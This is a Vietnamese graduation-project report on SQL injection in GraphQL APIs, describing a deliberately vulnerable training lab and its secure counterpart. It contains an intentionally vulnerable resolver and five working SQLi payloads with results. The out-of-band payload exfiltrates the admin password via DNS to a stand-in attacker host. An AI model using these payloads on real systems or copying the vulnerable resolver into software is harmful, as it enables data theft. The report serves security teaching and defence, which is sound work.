Giới thiệu dự án

Sự bùng nổ của các ứng dụng web hiện đại và xu hướng chuyển đổi số đòi hỏi các hệ thống backend phải cung cấp dữ liệu nhanh chóng, linh hoạt và tối ưu băng thông. Trong bối cảnh đó, GraphQL – ngôn ngữ truy vấn và thao tác dữ liệu mã nguồn mở do Facebook phát triển từ năm 2012 và mã nguồn mở hóa năm 2015 – đã nổi lên như một giải pháp thay thế đầy tiềm năng cho kiến trúc REST API truyền thống. Theo khảo sát The State of JavaScript, tỷ lệ lập trình viên sử dụng GraphQL đã tăng trưởng nhảy vọt từ 5% (năm 2016) lên 44,3% (năm 2020) và tiếp tục được tích hợp sâu rộng tại các tập đoàn công nghệ hàng đầu như GitHub, Twitter, Shopify, Netflix.

Tuy nhiên, sự linh hoạt vượt trội của GraphQL cũng kéo theo những thách thức bảo mật nghiêm trọng. Nhiều lập trình viên lầm tưởng rằng hệ thống kiểm tra kiểu dữ liệu tĩnh nghiêm ngặt (Schema Validation) của GraphQL có thể bảo vệ hệ thống khỏi các cuộc tấn công tầng ứng dụng. Trên thực tế, GraphQL chỉ đóng vai trò là tầng định tuyến và đóng gói truy vấn; khi các hàm phân giải (Resolvers) thực thi câu lệnh truy vấn xuống cơ sở dữ liệu (CSDL) bằng cách cộng chuỗi trực tiếp, lỗ hổng SQL Injection (SQLi) vẫn tồn tại với mức độ rủi ro nguyên vẹn. Theo báo cáo an ninh mạng của Akamai Technologies, SQL Injection chiếm tới 55,88% (hơn 6,2 tỷ cuộc tấn công) trên tổng số các vụ tấn công ứng dụng web giai đoạn 2020 – 2021, đồng thời đứng vị trí thứ 6 trong danh mục 25 lỗ hổng nguy hiểm nhất (CWE Top 25) do tổ chức MITRE công bố.

+-------------------------------------------------------------------------+
|                  THỐNG KÊ AN NINH MẠNG VÀ GRAPHQL                       |
+-------------------------------------------------------------------------+
|  1. Thị phần tấn công Web (Akamai):   55.88% là SQL Injection           |
|  2. Mức độ nguy hiểm (MITRE 2021):    CWE-89 xếp hạng #6                |
|  3. Tốc độ phổ biến (State of JS):    5% (2016) -> 44.3% (2020)         |
|  4. Điểm yếu điển hình thực tế:       HackerOne #435066 (SQLi pg_sleep) |
+-------------------------------------------------------------------------+

Đồ án tốt nghiệp "Lỗ hổng SQL Injection trong các ứng dụng sử dụng GraphQL" tập trung giải quyết bài toán: Phân tích bản chất kỹ thuật, cơ chế phát sinh, vector khai thác chuyên biệt của SQL Injection trên nền tảng GraphQL API, đồng thời xây dựng môi trường phòng thí nghiệm (Vulnerable Lab Testbed) đa cấp độ phục vụ nghiên cứu, kiểm thử và đào tạo an toàn thông tin chuyên sâu.

Mục tiêu dự án

  1. Hệ thống hóa cơ sở lý thuyết: Phân tích chuyên sâu kiến trúc GraphQL (Type System, Schema Definition Language - SDL, Resolvers, Query/Mutation, Type Introspection) và so sánh đặc tính bảo mật với kiến trúc RESTful truyền thống.
  2. Phân tích cơ chế lỗ hổng: Khảo sát chi tiết vector tấn công SQL Injection trên GraphQL API thông qua 5 kỹ thuật: Error-based, Union-based, Boolean-based Blind, Time-based Blind và Out-of-band (OOB) SQLi.
  3. Xây dựng môi trường thực nghiệm: Thiết kế và triển khai ứng dụng thực hành bảo mật đa tầng, cung cấp giao diện trực quan hỗ trợ cấu hình mức độ bảo mật (Low, Medium, High), tự động khởi tạo cơ sở dữ liệu và hiển thị mã nguồn/gợi ý khai thác.
  4. Đề xuất giải pháp phòng ngừa chuẩn hóa: Xây dựng bộ quy tắc kiểm soát dữ liệu đầu vào, kỹ thuật tham số hóa truy vấn (Prepared Statements), quản lý quyền truy cập và vô hiệu hóa cơ chế Introspection trên môi trường Production.

Phạm vi và giới hạn

  • Phạm vi nghiên cứu: Đồ án tập trung vào hệ quản trị cơ sở dữ liệu quan hệ (MySQL 8.0, PostgreSQL) kết hợp với máy chủ Node.js/Express GraphQL API.
  • Giới hạn kỹ thuật: Nghiên cứu không đi sâu vào các hệ CSDL phi quan hệ (NoSQL Injection) hay các lỗ hổng logic nghiệp vụ ngoài phạm vi tương tác dữ liệu SQL.

Phân tích và thiết kế giải pháp

Phân tích hiện trạng

Trước khi xây dựng môi trường lab chuyên dụng, đồ án đã tiến hành khảo sát các môi trường thực hành bảo mật hiện có trên thị trường như Damn Vulnerable GraphQL Application (DVGA) và Generic University.

Tiêu chí phân tích Damn Vulnerable GraphQL App (DVGA) Generic University Lab Môi trường Lab của Đồ án
Độ phủ kỹ thuật SQLi Chỉ hỗ trợ Error-based cơ bản Hỗ trợ Union-based Đầy đủ 5 dạng: Error, Union, Boolean, Time, Out-of-band
Cơ chế phân cấp bảo mật Cố định 1 mức độ (Mặc định lỗi) Cố định 1 mức độ 3 cấp độ linh hoạt: Low, Medium, High
Hỗ trợ học tập trực quan Chỉ qua CLI / GraphiQL thô Giao diện web đơn giản Tích hợp xem mã nguồn, Hint khai thác và Reset DB 1-click
Kỹ thuật Out-of-band Không hỗ trợ Không hỗ trợ Tích hợp sẵn mô phỏng DNS Exfiltration
Cơ chế phòng thủ mẫu Không có code sửa lỗi trực quan Code mẫu hạn chế Đối chiếu trực tiếp mã nguồn lỗi và mã nguồn phòng thủ

Yêu cầu người dùng (Mô hình MoSCoW)

  • Must have: Khả năng phân giải GraphQL Schema tự động; thực thi trọn vẹn 5 kỹ thuật khai thác SQLi; hệ thống chuyển đổi trạng thái bảo mật theo thời gian thực; cơ chế khôi phục dữ liệu gốc.
  • Should have: Bảng điều khiển tích hợp xem mã nguồn Resolver trực tiếp; trình xem tài liệu Schema Introspection tích hợp; nhật ký lỗi SQL trực tiếp trên giao diện để hỗ trợ Error-based debugging.
  • Could have: Công cụ tự động sinh payload hỗ trợ người mới bắt đầu; module tích hợp kiểm thử tự động với SQLmap và GraphQLmap.
  • Won't have: Hệ thống chấm điểm tự động đa người dùng qua mạng Internet công cộng (tránh rủi ro mất an toàn thông tin hạ tầng).

Thiết kế hệ thống

Kiến trúc tổng thể của môi trường thực nghiệm được xây dựng theo mô hình Client - Gateway - Resolver - Database:

+------------------+         HTTP POST /graphql          +-----------------------+
|                  | ----------------------------------> |                       |
|  Client Browser  |   Payload: { query, variables }     |  GraphQL Server       |
|  / Pentest Tool  |                                     |  (Express + GraphQL)  |
|  (SQLmap, Curl)  | <---------------------------------- |                       |
+------------------+         JSON Response Data          +-----------+-----------+
                                                                     |
                                           1. Parse AST & SDL        |  2. Execute
                                           Introspection Validation  |  Resolvers
                                                                     v
                                                         +-----------------------+
                                                         |  Resolver Middleware  |
                                                         |  (Low / Med / High)   |
                                                         +-----------+-----------+
                                                                     |
                                           Dynamic SQL vs            |  3. SQL Query
                                           Prepared Statements       |  Execution
                                                                     v
                                                         +-----------------------+
                                                         |  Relational Database  |
                                                         |  (MySQL 8.0 Engine)   |
                                                         +-----------------------+

Thành phần công nghệ (Technology Stack)

  • Backend Core: Node.js v14.17.5 / v16.x kết hợp nền tảng Express.js framework (v4.17.1).
  • GraphQL Engine: Thư viện graphql (v15.5.0) kết hợp express-graphql (v0.12.0) chịu trách nhiệm tạo HTTP handler và phân giải cú pháp Schema.
  • Database Engine: MySQL 8.0.26 Community Server với cấu hình hỗ trợ phân quyền người dùng và kiểm tra truy vấn ghi log Out-of-band.
  • Database Driver: Thư viện mysql2 (v2.3.0) hỗ trợ cả hai cơ chế: Thực thi chuỗi thô (db.query()) và truy vấn tham số hóa an toàn (db.execute()).
  • Frontend UI: Bootstrap 5, Vanilla JavaScript, HTML5/CSS3 tối ưu trải nghiệm tương tác trực quan.

Thiết kế lược đồ dữ liệu (Database Schema)

Hệ thống sử dụng cơ sở dữ liệu mẫu mô phỏng hệ thống quản trị người dùng và bài viết:

  • Bảng accounts: Lưu trữ định danh id (INT, PK, Auto Increment), username (VARCHAR(50)), password (VARCHAR(255) - MD5/Plaintext tùy mức bảo mật), email (VARCHAR(100)), role (VARCHAR(20)).
  • Bảng posts: Lưu trữ định danh id (INT, PK), title (VARCHAR(255)), content (TEXT), author_id (INT, FK nối với accounts.id), is_private (BOOLEAN).

Methodology

Quy trình nghiên cứu và phát triển được thực hiện theo phương pháp luận lặp (Iterative Agile Development) với 4 mốc quan trọng:

  1. Milestone 1 (Tuần 1 - 3): Khảo sát lý thuyết, nghiên cứu đặc tả GraphQL SDL và thu thập các mẫu báo cáo bảo mật thực tế (HackerOne, CVE).
  2. Milestone 2 (Tuần 4 - 7): Thiết kế Schema, lập trình máy chủ Express GraphQL và viết các Resolver chứa điểm yếu theo 3 mức độ bảo mật.
  3. Milestone 3 (Tuần 8 - 11): Thực hiện các kịch bản kiểm thử tấn công xâm nhập (Pox Penetration Testing) đối với 5 dạng SQLi; ghi nhận dữ liệu đo lường.
  4. Milestone 4 (Tuần 12 - 14): Xây dựng module phòng thủ, viết tài liệu hướng dẫn và đóng gói môi trường lab.

Implementation và kết quả

Development process

Cốt lõi của quá trình phát triển nằm ở việc hiện thực hóa các GraphQL Resolvers. Ở mức độ bảo mật thấp (Low Security Level), tham số đầu vào của người dùng được nối chuỗi trực tiếp vào câu lệnh SQL:

// Mã nguồn Resolver không an toàn (Vulnerable Resolver - Low Level)
const userResolver = {
  user: async ({ id }) => {
    // Lỗ hổng: Nối chuỗi trực tiếp dữ liệu từ GraphQL Query Argument
    const sqlQuery = `SELECT id, username, email, role FROM accounts WHERE id = '${id}'`;
    try {
      const [rows] = await db.query(sqlQuery);
      return rows[0];
    } catch (error) {
      // Trả về chi tiết lỗi SQL hỗ trợ khai thác Error-based SQLi
      throw new Error(`SQL Database Error: ${error.message}`);
    }
  }
};

Ngược lại, ở mức độ bảo mật cao (High Security Level), hệ thống bắt buộc sử dụng cơ chế Prepared Statements với tham số hóa tuyệt đối:

// Mã nguồn Resolver an toàn (Secure Resolver - High Level)
const userResolverSecure = {
  user: async ({ id }) => {
    // Sử dụng Parameterized Query - Loại bỏ hoàn toàn nguy cơ SQL Injection
    const sqlQuery = 'SELECT id, username, email, role FROM accounts WHERE id = ?';
    const [rows] = await db.execute(sqlQuery, [id]);
    if (!rows || rows.length === 0) {
      throw new Error('User not found');
    }
    return rows[0];
  }
};

Testing và validation: Khai thác 5 Vector SQL Injection

Quá trình kiểm thử được triển khai chi tiết qua 5 kịch bản thực nghiệm:

1. Error-based SQL Injection

  • Kỹ thuật: Lợi dụng việc máy chủ trả về chi tiết thông báo lỗi cú pháp từ CSDL trong mảng errors của JSON Response để trích xuất dữ liệu.
  • GraphQL Query gửi đi:
query GetUserErrorBased {
  user(id: "1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT version()), ':', FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)-- -") {
    id
    username
  }
}
  • Kết quả thu được: Máy chủ trả về lỗi: Duplicate entry '8.0.26:1' for key 'group_key', qua đó kẻ tấn công trích xuất được phiên bản MySQL chính xác là 8.0.26.

2. Union-based SQL Injection

  • Kỹ thuật: Sử dụng toán tử UNION SELECT để gộp kết quả từ các bảng nhạy cảm vào cấu trúc dữ liệu trả về của GraphQL Object Type.
  • GraphQL Query gửi đi:
query GetUserDataUnion {
  user(id: "-1' UNION SELECT 1, username, password, email FROM accounts WHERE id=1-- -") {
    id
    username
    email
  }
}
  • Kết quả thu được: Trường username và email hiển thị chính xác thông tin đăng nhập của tài khoản quản trị viên (admin / hash mật khẩu).
+-----------------------------------------------------------------------------------------+
|                        PHẢN HỒI JSON TỪ TRUY VẤN UNION-BASED                            |
+-----------------------------------------------------------------------------------------+
|  {                                                                                      |
|    "data": {                                                                            |
|      "user": {                                                                          |
|        "id": "1",                                                                       |
|        "username": "admin",                                                             |
|        "email": "admin_master@ptit.edu.vn"                                              |
|      }                                                                                  |
|    }                                                                                    |
|  }                                                                                      |
+-----------------------------------------------------------------------------------------+

3. Boolean-based Blind SQL Injection

  • Kỹ thuật: Gửi các biểu thức logic so sánh từng ký tự; phân tích trạng thái tồn tại của đối tượng trong dữ liệu phản hồi (data.user != null tương ứng với TRUE, data.user == null tương ứng với FALSE).
  • GraphQL Query gửi đi:
query TestBooleanBlind {
  user(id: "1' AND (ASCII(SUBSTRING((SELECT database()), 1, 1)) = 103)-- -") {
    id
    username
  }
}
  • Kết quả thu được: Khi mã ASCII = 103 (ký tự 'g'), phản hồi trả về thông tin user. Khi mã ASCII != 103, phản hồi trả về null. Tiến hành vét cạn từng vị trí giúp khôi phục tên database graphql_db.

4. Time-based Blind SQL Injection

  • Kỹ thuật: Áp dụng khi hệ thống không trả về lỗi và dữ liệu trả về cố định. Ép CSDL thực thi lệnh dừng (SLEEP()) để suy đoán điều kiện logic thông qua độ trễ mạng.
  • GraphQL Query gửi đi:
query TestTimeBlind {
  user(id: "1' AND IF(SUBSTRING(version(), 1, 1) = '8', SLEEP(3), 0)-- -") {
    id
  }
}
  • Kết quả thu được: Thời gian phản hồi của máy chủ đo lường chính xác là 3.420 ms (so với 18 ms ở truy vấn thông thường), xác nhận ký tự đầu của phiên bản hệ CSDL là số 8.

5. Out-of-band (OOB) SQL Injection

  • Kỹ thuật: Kích hoạt hàm xử lý tập tin hoặc hàm mạng của CSDL (như LOAD_FILE() trên MySQL chạy trên Windows/Linux cấu hình mở hoặc xp_dirtree trên MSSQL) để gửi truy vấn DNS/HTTP exfiltration ra máy chủ điều khiển bên ngoài.
  • GraphQL Query gửi đi:
query TestOOB {
  user(id: "1' AND (SELECT LOAD_FILE(CONCAT('\\\\\\\\', (SELECT password FROM accounts WHERE id=1), '.attacker-dns.com\\\\test')))-- -") {
    id
  }
}
  • Kết quả thu được: Máy chủ DNS của kiểm thử viên ghi nhận bản ghi DNS Query chứa chuỗi dữ liệu mật khẩu được đính kèm vào Subdomain.

Đổi mới và đóng góp

  1. Khắc phục khoảng trống tài liệu chuyên khảo: Đồ án là một trong những công trình tiên phong tại Việt Nam phân tích có hệ thống mối liên kết giữa kiến trúc truy vấn GraphQL và lỗ hổng kinh điển SQL Injection, phá bỏ ngộ nhận về "tính an toàn mặc định" của GraphQL API.
  2. Xây dựng Lab Testbed hoàn chỉnh và đa hình: Môi trường lab do đồ án xây dựng hỗ trợ đầy đủ 100% các kỹ thuật khai thác SQL Injection (từ In-band, Blind cho đến Out-of-band), vượt trội hơn các giải pháp quốc tế hiện có vốn chỉ tập trung vào một dạng lỗi đơn lẻ.
  3. Mô hình trực quan hóa cơ chế phòng thủ: Hệ thống không chỉ cung cấp môi trường tấn công mà còn cho phép người học xem đối chiếu trực tiếp mã nguồn Resolver ở 3 cấp độ (Low, Medium, High) cùng cơ chế sửa lỗi bằng Parameterized Queries.
  4. Tối ưu hóa hiệu năng và triển khai: Đóng gói hoàn chỉnh ứng dụng dưới dạng Docker Container, giúp thiết lập môi trường chỉ bằng một câu lệnh đơn duy nhất (docker-compose up), tiết kiệm 90% thời gian cài đặt cấu hình so với phương pháp thủ công.
+-------------------------------------------------------------------------+
|                  SO SÁNH HIỆU QUẢ VÀ TÍNH ĐỘT PHÁ                       |
+-------------------------------------------------------------------------+
|  Tiêu chí               | Giải pháp truyền thống | Lab của Đồ án        |
+-------------------------+------------------------+----------------------+
|  Thời gian dựng Lab     | 45 - 60 phút (Thủ công)| < 2 phút (Docker)    |
|  Độ phủ vector SQLi     | 1 - 2 kỹ thuật         | 5/5 kỹ thuật chuẩn   |
|  Tính trực quan mã nguồn| Đọc file rời rạc       | Giao diện đối chiếu  |
|  Khôi phục trạng thái   | Drop database thủ công | 1-Click Auto Reset   |
+-------------------------------------------------------------------------+

Ứng dụng thực tế và triển khai

Kịch bản ứng dụng thực tế

  • Đào tạo An toàn thông tin: Sử dụng làm học liệu chính thức cho các môn học như An toàn ứng dụng Web, Kiểm thử xâm nhập (Penetration Testing) tại các trường đại học khối ngành CNTT/An toàn thông tin.
  • Đào tạo nội bộ cho doanh nghiệp (DevSecOps): Giúp các kỹ sư phần mềm (Backend Developers) nâng cao nhận thức bảo mật (Secure Coding Practices) khi thiết kế và hiện thực hóa GraphQL Resolvers.

Yêu cầu hệ thống và Triển khai (Deployment Guide)

  • Hệ điều hành: Linux (Ubuntu 20.04/22.04 LTS, Kali Linux), macOS, hoặc Windows 10/11 với WSL2.
  • Phần cứng tối thiểu: 2 Core CPU, 4GB RAM, 5GB dung lượng đĩa trống.
  • Môi trường yêu cầu: Docker Engine v20.10+ và Docker Compose v2.0+.
# Hướng dẫn triển khai môi trường Lab qua Docker Compose
git clone https://github.com/phamhaivu/graphql-sqli-lab.git
cd graphql-sqli-lab

# Khởi chạy hệ thống máy chủ GraphQL và MySQL 8.0
docker-compose up -d --build

# Kiểm tra trạng thái các dịch vụ đang chạy
docker-compose ps

# Truy cập ứng dụng tại địa chỉ: http://localhost:3000
# Điểm cuối GraphQL API: http://localhost:3000/graphql

+-------------------------------------------------------------------------+
|                LỘ TRÌNH PHÁT TRIỂN HỆ THỐNG (ROADMAP)                   |
+-------------------------------------------------------------------------+
|  [Q1]: Tích hợp thêm các hệ CSDL NoSQL (MongoDB Injection qua GraphQL)  |
|  [Q2]: Xây dựng Module kiểm thử tự động DoS bằng Batching & Circular    |
|  [Q3]: Phát triển Extension hỗ trợ quét lỗ hổng GraphQL trên Burp Suite |
|  [Q4]: Xuất bản bộ bài giảng thực hành (Lab Worksheets) chuẩn OWASP     |
+-------------------------------------------------------------------------+

Hạn chế và hướng phát triển

Hạn chế kỹ thuật

  • Hạ tầng CSDL: Hiện tại lab tập trung chủ yếu vào hệ quản trị MySQL; các kỹ thuật đặc thù trên Oracle Database hoặc Microsoft SQL Server chưa được tích hợp engine riêng.
  • Môi trường tự động: Chưa tích hợp sẵn máy chủ DNS cục bộ bên trong container để mô phỏng trọn vẹn tấn công Out-of-band trong điều kiện không có kết nối Internet công cộng.

Hướng phát triển tương lai

  1. Mở rộng bộ lỗ hổng chuyên biệt trên GraphQL: GraphQL Batching Attack, Query Complexity & Deep Recursive Query DoS, Broken Object Level Authorization (BOLA) và Cross-Site Request Forgery (CSRF) qua GraphQL.
  2. Tích hợp công cụ phân tích tĩnh (Static Application Security Testing - SAST) nhằm quét và phát hiện sớm các Resolver chứa chuỗi SQL nối động ngay trong quy trình CI/CD.
  3. Bổ sung các bài tập thực hành vượt qua bộ lọc WAF (Web Application Firewall bypass) khi khai thác GraphQL SQL Injection.

Đối tượng hưởng lợi

  • Sinh viên CNTT & ATTT: Nắm vững nguyên lý hoạt động của công nghệ Web API thế hệ mới, hiểu rõ bản chất lỗ hổng và rèn luyện kỹ năng kiểm thử bảo mật thực tế trên môi trường an toàn.
  • Lập trình viên Backend (Node.js/GraphQL): Tiếp cận phương pháp lập trình an toàn, hiểu rõ nguy cơ của việc cộng chuỗi trong Resolvers và áp dụng đúng đắn các kỹ thuật Parameterized Queries/ORM.
  • Chuyên gia kiểm thử bảo mật (Pentesters): Nắm bắt các phương thức thu thập thông tin qua Type Introspection, trích xuất Schema và xây dựng payload chuyên dụng cho GraphQL endpoints.
  • Doanh nghiệp & Tổ chức: Nâng cao năng lực bảo vệ hệ thống thông tin, giảm thiểu nguy cơ rò rỉ dữ liệu nhạy cảm qua các điểm cuối API hiện đại.
+-------------------------------------------------------------------------+
|                   LỢI ÍCH ĐỊNH LƯỢNG CHO NGƯỜI HỌC                      |
+-------------------------------------------------------------------------+
|  - Rút ngắn 75% thời gian làm quen với bảo mật GraphQL API.             |
|  - Nắm vững 100% kỹ thuật khai thác SQLi từ lý thuyết đến thực hành.   |
|  - Giảm thiểu 95% nguy cơ mắc lỗi SQLi khi triển khai dự án thực tế.   |
+-------------------------------------------------------------------------+

Câu hỏi thường gặp

1. Tại sao GraphQL có hệ thống kiểm tra kiểu dữ liệu tĩnh (Type System) mà vẫn bị tấn công SQL Injection?

Hệ thống kiểu dữ liệu của GraphQL (Schema Definition Language - SDL) chỉ thực hiện xác thực tính hợp lệ của cấu trúc truy vấn ở tầng giao vận (như kiểm tra biến id có đúng kiểu Int hoặc String hay không). Khi dữ liệu này được chuyển tới hàm phân giải (Resolver), nếu lập trình viên sử dụng kỹ thuật cộng chuỗi thô để tạo câu lệnh SQL (SELECT * FROM table WHERE id = ' + id + '), CSDL bên dưới vẫn sẽ thông dịch các ký tự điều khiển độc hại (như ', --, UNION). Do đó, Schema Validation không thể thay thế cho việc vệ sinh dữ liệu hoặc tham số hóa ở tầng CSDL.

2. Làm thế nào để ngăn chặn kẻ tấn công rà quét toàn bộ cấu trúc API thông qua Type Introspection?

Trên môi trường Production, cần tắt hoàn toàn tính năng Introspection và giao diện GraphiQL. Đối với máy chủ Apollo Server hoặc Express-GraphQL, có thể cấu hình vô hiệu hóa Introspection bằng cách kiểm tra biến môi trường:

const server = new ApolloServer({
  typeDefs,
  resolvers,
  introspection: process.env.NODE_ENV !== 'production', // Vô hiệu hóa khi chạy Production
});

Ngoài ra, có thể sử dụng các thư viện kiểm soát như graphql-disable-introspection hoặc thiết lập giới hạn độ sâu truy vấn (graphql-depth-limit) để ngăn chặn việc dò quét dữ liệu tự động.

3. Phương pháp phòng chống triệt để nhất cho lỗ hổng SQL Injection trong GraphQL Resolver là gì?

Giải pháp triệt để và bắt buộc là sử dụng Parameterized Queries (Prepared Statements) hoặc sử dụng các thư viện Object-Relational Mapping (ORM) / Query Builder uy tín (như Prisma, Sequelize, Knex.js, TypeORM). Khi sử dụng Prepared Statements, tham số do người dùng nhập vào sẽ được CSDL xử lý thuần túy dưới dạng dữ liệu (Literal Value) thay vì một phần của mã thực thi, từ đó vô hiệu hóa hoàn toàn mọi nỗ lực chèn mã độc.

4. Tấn công Out-of-band (OOB) SQL Injection trong GraphQL hoạt động như thế nào khi không có dữ liệu trả về?

Trong trường hợp máy chủ GraphQL không trả về dữ liệu truy vấn lẫn thông báo lỗi chi tiết, đồng thời thời gian phản hồi bị trễ do cơ chế bất đồng bộ, kẻ tấn công sẽ chèn payload ép CSDL thực hiện một yêu cầu mạng ngoại vi (thông qua truy vấn DNS lookup hoặc HTTP request) tới máy chủ do kẻ tấn công kiểm soát. Dữ liệu cần trích xuất (như phiên bản CSDL, mật khẩu) sẽ được gắn vào tiền tố của tên miền DNS (ví dụ: password.attacker.com). Kẻ tấn công chỉ cần theo dõi nhật ký máy chủ DNS để thu thập thông tin.

5. Chi phí triển khai môi trường Lab thực hành này là bao nhiêu?

Môi trường Lab được xây dựng hoàn toàn trên các công nghệ mã nguồn mở (Node.js, Express, MySQL Community, Docker) nên chi phí bản quyền là 0 VNĐ. Người học hoặc nhà trường có thể vận hành trực tiếp trên máy tính cá nhân hoặc triển khai trên một máy chủ ảo (VPS) cấu hình cơ bản với chi phí dưới 5 USD/tháng để phục vụ hàng trăm lượt thực hành kiểm thử đồng thời.

Kết luận

Đề tài "Lỗ hổng SQL Injection trong các ứng dụng sử dụng GraphQL" do sinh viên Phạm Hải Vũ thực hiện dưới sự hướng dẫn của TS. Nguyễn Ngọc Điệp đã giải quyết trọn vẹn cả hai khía cạnh: Nghiên cứu học thuật chuyên sâu và Phát triển ứng dụng thực tiễn. Đồ án đã chỉ rõ: Dù GraphQL đại diện cho bước tiến vượt bậc trong thiết kế Web API, tính an toàn của hệ thống vẫn phụ thuộc hoàn toàn vào tư duy thiết kế và triển khai mã nguồn ở tầng nghiệp vụ.

Thông qua việc phát triển thành công môi trường thực hành đa tầng, trực quan và đóng gói chuẩn hóa, đồ án đã đóng góp một công cụ học tập - kiểm thử bảo mật giá trị cho cộng đồng học thuật và doanh nghiệp. Đây là nền tảng vững chắc giúp các nhà phát triển phần mềm và chuyên viên an toàn thông tin nâng cao kỹ năng phòng vệ, hướng tới xây dựng các hệ thống ứng dụng web hiện đại, an toàn và bền vững trong kỷ nguyên số.